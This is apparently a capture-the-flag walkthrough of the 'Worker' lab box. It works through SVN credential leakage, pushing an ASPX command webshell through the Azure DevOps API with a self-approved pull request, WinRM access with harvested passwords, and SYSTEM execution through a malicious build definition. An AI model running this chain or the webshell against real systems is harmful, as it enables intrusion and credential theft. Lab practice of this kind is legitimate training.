Worker

Version and default-script scan on the three open ports.

$ nmap -sV -sC -p 80,3690,5985 $TARGET -oN worker.nmap
80/tcp open IIS httpd 10.0
3690/tcp open svnserve Subversion
5985/tcp open Microsoft HTTPAPI 2.0

Confirm anonymous SVN access and list the repository root contents.

$ svn info svn://$TARGET/ && svn list -v svn://$TARGET/

Dump the full commit history and list every file added, modified, or deleted across all revisions.

$ svn log -v svn://$TARGET/

Retrieve the deleted deployment script at revision 2 — contains nathen:$PASSWORD in cleartext.

$ svn cat -r 2 svn://$TARGET/deploy.ps1

Read the decommission notice that reveals the Azure DevOps virtual host.

$ svn cat svn://$TARGET/moved.txt

Register all discovered virtual hosts for local DNS resolution.

$ echo "$TARGET worker.htb devops.worker.htb alpha.worker.htb cartoon.worker.htb lens.worker.htb solid-state.worker.htb spectral.worker.htb story.worker.htb" | sudo tee -a /etc/hosts

Confirm NTLM authentication succeeds and enumerate Azure DevOps projects.

$ curl --ntlm -u "nathen:$PASSWORD" 'http://devops.worker.htb/ekenas/_apis/projects?api-version=5.0'

List Git repositories inside SmartHotel360 to obtain repository GUIDs.

$ curl --ntlm -u "nathen:$PASSWORD" 'http://devops.worker.htb/ekenas/SmartHotel360/_apis/git/repositories?api-version=5.0'

Enumerate build pipeline definitions to identify the auto-deploy pipeline and its target.

$ curl --ntlm -u "nathen:$PASSWORD" 'http://devops.worker.htb/ekenas/SmartHotel360/_apis/build/definitions?api-version=5.0'

Attempt direct push to master — this returns 403 TF402455, confirming branch policy is in place and a PR bypass is required.

$ git clone http://$USERNAME:$PASSWORD@devops.worker.htb/ekenas/SmartHotel360/_git/alpha alpha-repo && cd alpha-repo && git push origin HEAD:master

Push the ASPX webshell to a new feature branch via the Azure DevOps Git push API. Replace <alpha_repo_guid> with the GUID obtained in step 3.

$ python3 <<EOF
import requests, base64
from requests_ntlm import HttpNtlmAuth
auth = HttpNtlmAuth('nathen', "$PASSWORD")
REPO_ID = '<alpha_repo_guid>'  # from step 3 enumeration
base = f'http://devops.worker.htb/ekenas/SmartHotel360/_apis/git/repositories/{REPO_ID}'
shell = b'<%@ Page Language="C#" %><%@ Import Namespace="System.Diagnostics" %><% var p=new Process(); p.StartInfo.FileName="cmd.exe"; p.StartInfo.Arguments="/c "+Request["c"]; p.StartInfo.UseShellExecute=false; p.StartInfo.RedirectStandardOutput=true; p.Start(); Response.Write("<pre>"+Server.HtmlEncode(p.StandardOutput.ReadToEnd())+"</pre>"); %>'
push_body = {'refUpdates': [{'name': 'refs/heads/feature/status-vzqwd', 'oldObjectId': '0'*40}], 'commits': [{'comment': 'update status', 'changes': [{'changeType': 'add', 'item': {'path': '/cmd.aspx'}, 'newContent': {'content': base64.b64encode(shell).decode(), 'contentType': 'base64Encoded'}}]}]}
resp = requests.post(base + '/pushes?api-version=5.0', json=push_body, auth=auth)
print('Push status:', resp.status_code)
EOF

Open and auto-complete the pull request as nathen. The merge triggers Alpha-CI, which deploys cmd.aspx to alpha.worker.htb.

$ python3 <<EOF
import requests
from requests_ntlm import HttpNtlmAuth
auth = HttpNtlmAuth('nathen', "$PASSWORD")
REPO_ID = '<alpha_repo_guid>'
NATHEN_ID = '<nathen_user_guid>'  # from /_apis/connectionData or profile endpoint
base = f'http://devops.worker.htb/ekenas/SmartHotel360/_apis/git/repositories/{REPO_ID}'
pr = requests.post(base + '/pullrequests?api-version=5.0', json={'title': 'Update status page', 'sourceRefName': 'refs/heads/feature/status-vzqwd', 'targetRefName': 'refs/heads/master', 'autoCompleteSetBy': {'id': NATHEN_ID}, 'completionOptions': {'mergeStrategy': 'noFastForward'}}, auth=auth).json()
pr_id = pr['pullRequestId']
requests.patch(base + f'/pullrequests/{pr_id}?api-version=5.0', json={'status': 'completed', 'lastMergeSourceCommit': {'commitId': pr['lastMergeSourceCommit']['commitId']}, 'completionOptions': {'mergeStrategy': 'noFastForward'}}, auth=auth)
print('PR completed, id:', pr_id)
EOF

Confirm RCE and retrieve the current identity and all group memberships.

$ curl -s 'http://alpha.worker.htb/cmd.aspx?c=whoami+/all'

Enumerate network configuration to confirm host identity and network position.

$ curl -s 'http://alpha.worker.htb/cmd.aspx?c=ipconfig+/all'

List user home directories to identify accounts present on the host.

$ curl -s 'http://alpha.worker.htb/cmd.aspx?c=dir+C:\\Users'

Read the SVN plaintext credential store through the webshell — exposes robisl:$PASSWORD2.

$ curl -s 'http://alpha.worker.htb/cmd.aspx?c=type+W:\svnrepos\www\conf\passwd'

Validate WinRM access and confirm local administrator rights — look for Pwn3d! In the output.

$ nxc winrm $TARGET -d Worker -u robisl -p $PASSWORD2

Open an interactive WinRM shell as robisl.

$ evil-winrm -i $TARGET -u robisl -p $PASSWORD2

Read the user flag from robisl's Desktop — actual -> <user.txt>

$ type C:\Users\robisl\Desktop\user.txt

Create a build definition in the PartsUnlimited project with a cmd step that reads root.txt. Note the returned definition ID.

$ python3 <<EOF
import requests
from requests_ntlm import HttpNtlmAuth
auth = HttpNtlmAuth('Worker\\robisl', "$PASSWORD2")
base = 'http://devops.worker.htb/ekenas/PartsUnlimited/_apis'
defn = {
  'name': 'StatusCheck',
  'type': 'build',
  'quality': 'definition',
  'queue': {'name': 'Default'},
  'process': {'type': 1, 'phases': [{'steps': [{'task': {'id': 'e213ff0f-5d5c-4791-802d-52ea3e7be1f1', 'versionSpec': '2.*'}, 'inputs': {'script': 'type C:\\Users\\Administrator\\Desktop\\root.txt', 'workingDirectory': ''}, 'displayName': 'check', 'enabled': True}]}]}
}
result = requests.post(base + '/build/definitions?api-version=6.0', json=defn, auth=auth).json()
print('Definition id:', result.get('id'))
EOF

Queue the malicious build. The agent executes it as NT AUTHORITY\SYSTEM.

$ python3 <<EOF
import requests
from requests_ntlm import HttpNtlmAuth
auth = HttpNtlmAuth('Worker\\robisl', "$PASSWORD2")
DEF_ID = '<definition_id_from_previous_step>'
base = 'http://devops.worker.htb/ekenas/PartsUnlimited/_apis'
build = requests.post(base + '/build/builds?api-version=6.0', json={'definition': {'id': int(DEF_ID)}}, auth=auth).json()
print('Build id:', build.get('id'))
EOF

Retrieve build logs after the job finishes — root.txt value (<root.txt>) appears in the PowerShell step output.

$ python3 <<EOF
import requests, time
from requests_ntlm import HttpNtlmAuth
auth = HttpNtlmAuth('Worker\\robisl', "$PASSWORD2")
BUILD_ID = '<build_id_from_previous_step>'
time.sleep(30)
base = f'http://devops.worker.htb/ekenas/PartsUnlimited/_apis/build/builds/{BUILD_ID}'
logs = requests.get(base + '/logs?api-version=6.0', auth=auth).json()
for log in logs.get('value', []):
    print(requests.get(log['url'], auth=auth).text)
EOF